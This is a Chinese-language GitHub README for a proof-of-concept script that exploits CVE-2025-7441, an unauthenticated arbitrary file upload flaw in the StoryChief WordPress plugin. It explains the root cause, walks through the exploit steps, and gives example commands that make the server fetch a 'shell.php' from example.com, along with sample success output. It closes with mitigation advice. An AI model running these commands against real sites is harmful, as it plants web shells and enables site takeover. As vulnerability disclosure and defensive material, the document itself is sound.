AnotherSec/CVE-2025-7441
GitHub: AnotherSec/CVE-2025-7441
针对 StoryChief WordPress 插件未认证任意文件上传漏洞(CVE-2025-7441)的自动化 PoC 验证脚本。
Stars: 2 | Forks: 1
# CVE-2025-7441 StoryChief 1.0.42 - 任意文件上传
## 漏洞 (CVE-2025-7441) - 技术总结
- **受影响组件:** StoryChief WordPress 插件
- **漏洞类型:** 未认证任意文件上传
- **漏洞 endpoint:** `/wp-json/storychief/webhook`
- **根本原因:** 该插件接受包含 URL 的 JSON webhook payload(位于 `data.featured_image.data.sizes.full` 下),并对该 URL 执行服务器端 HTTP GET 请求,且没有进行充分的验证(无域名白名单,MIME/内容检查不足,并且文件被保存在公开的上传路径下)。
- **影响:** 未经认证的攻击者可以诱使服务器获取并将攻击者可控的内容持久化存储到 WordPress 上传目录中(例如 `wp-content/uploads/YYYY/MM/
`)。如果上传的文件可以被服务器解析/执行(例如 PHP 文件,且服务器允许在此处执行 PHP),这将导致远程代码执行(RCE)并完全破坏网站。
- **CVSS(示例):** 9.8(严重)— 严重程度取决于托管配置和执行权限。
## 关于此 PoC (`CVE-2025-7441`)
此脚本自动化了该漏洞的典型利用验证流程:
1. 构建一个 webhook JSON payload,将远程文件 URL 放入 `data.featured_image.data.sizes.full`。
2. 计算 payload 的 HMAC-SHA256 签名(脚本默认使用空密钥计算)并将其存储在 `meta.mac` 中。
3. 将 payload POST 到 `/wp-json/storychief/webhook`。
4. 验证获取的文件是否存在于预期的上传路径中:
/wp-content/uploads///
如果文件响应为 HTTP 200,脚本将报告成功;否则将输出 ``。
该脚本包含以下标志:`--file-url`、`--verbose`、`--use-curl` 和 `--retries`。
## 用法
python3 CVE-2025-7441.py
### 位置参数
- `` — 目标站点的基础 URL。示例:`http://127.0.0.1:5000/` 或 `https://target.example/`
### 标志
- `--file-url` — 覆盖 PoC 使用的默认远程文件 URL。默认值:硬编码的 GitHub 原始示例 URL。示例:`--file-url https://127.0.0.1:5000/zip.php`
- `--verbose` — 启用详细输出(打印请求/响应详细信息和检查进度)。
- `--use-curl` — 使用 `curl` 子进程来发送 POST 请求(回退模式)。需要安装 `curl`。
- `--retries` — 在预期的上传路径中检查文件的尝试次数。默认值:`1`。例如使用 `--retries 5` 进行多次轮询。
## 示例命令
```
python3 CVE-2025-7441.py http://127.0.0.1:5000/
```
指定自定义远程文件 URL
```
python3 CVE-2025-7441.py http://127.0.0.1:5000/ --file-url https://example.com/shell.php
```
详细输出和多次检查
```
python3 CVE-2025-7441.py http://127.0.0.1:5000/ --file-url https://example.com/shell.php --verbose --retries 5
```
使用 curl 发送 POST
```
python3 CVE-2025-7441.py http://127.0.0.1:5000 --file-url https://example.com/shell.php --use-curl --verbose
```
输出:
```
[*] Target: https://127.0.0.1:5000
[*] file_url: https://127.0.0.1:5000/ZIP.php
[*] retries: 3
[*] use_curl: False
[+] computed hmac : 3f2a9b0e4d6c5a1f0b9d6e3c2a1f4b5c6d7e8f9a0b1c2d3e4f5a6b7c8d9e0f1
[*] Sending POST via requests...
[*] POST status: 200
[*] Response body (truncated):
{"permalink":"/wp-content/uploads/2025/10/ZIP.php","id":12345}
[*] Checking (1/3): https://127.0.0.1:5000/wp-content/uploads/2025/10/ZIP.php
[+] success! [+]
https://127.0.0.1:5000/wp-content/uploads/2025/10/ZIP.php
```
### 缓解措施
缓解与修复
短期措施:
在有可用修复版本时,立即将 StoryChief 升级到已修补的版本。
通过 WAF 或服务器规则阻止或限制 /wp-json/storychief/webhook。
限制服务器向不受信任域名的出站获取或出口流量。
开发者指南:
在任何远程获取之后验证文件类型和内容;使用安全的解析器验证图像并拒绝无效文件。
对于会导致服务器端下载或文件创建的 webhook,要求进行身份验证。
确保 HMAC/签名验证已实施并得到执行。
将上传的内容存储在 webroot 之外,或禁用 wp-content/uploads 中已上传文件的执行权限标签:CISA项目, Homebrew安装, Python, Web安全, WordPress插件, 任意文件上传, 安全PoC, 无后门, 蓝队分析, 逆向工具